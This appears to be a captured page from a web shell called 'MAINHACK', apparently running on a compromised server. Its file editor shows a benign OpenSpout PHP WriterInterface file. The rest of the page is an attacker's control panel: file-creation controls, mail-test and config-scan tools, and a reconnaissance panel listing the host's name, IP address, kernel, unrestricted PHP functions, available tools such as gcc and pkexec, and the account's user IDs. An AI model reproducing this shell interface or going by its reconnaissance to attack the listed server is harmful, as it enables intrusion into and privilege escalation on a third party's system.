[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: WriterInterface.php
<?php declare(strict_types=1); namespace OpenSpout\Writer; use OpenSpout\Common\Entity\Row; use OpenSpout\Common\Exception\InvalidArgumentException; use OpenSpout\Common\Exception\IOException; interface WriterInterface { /** * Initializes the writer and opens it to accept data. * By using this method, the data will be written to a file. * * @param string $outputFilePath Path of the output file that will contain the data * * @throws IOException If the writer cannot be opened or if the given path is not writable */ public function openToFile(string $outputFilePath): void; /** * Initializes the writer and opens it to accept data. * By using this method, the data will be outputted directly to the browser. * * @param string $outputFileName Name of the output file that will contain the data. If a path is passed in, only the file name will be kept * * @throws IOException If the writer cannot be opened */ public function openToBrowser(string $outputFileName): void; /** * Appends a row to the end of the stream. * * @param Row $row The row to be appended to the stream * * @throws Exception\WriterNotOpenedException If the writer has not been opened yet * @throws IOException If unable to write data */ public function addRow(Row $row): void; /** * Appends the rows to the end of the stream. * * @param Row[] $rows The rows to be appended to the stream * * @throws InvalidArgumentException If the input param is not valid * @throws Exception\WriterNotOpenedException If the writer has not been opened yet * @throws IOException If unable to write data */ public function addRows(array $rows): void; /** * Set document creator. * * @param string $creator document creator */ public function setCreator(string $creator): void; /** * @return 0|positive-int */ public function getWrittenRowCount(): int; /** * Closes the writer. This will close the streamer as well, preventing new data * to be written to the file. */ public function close(): void; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002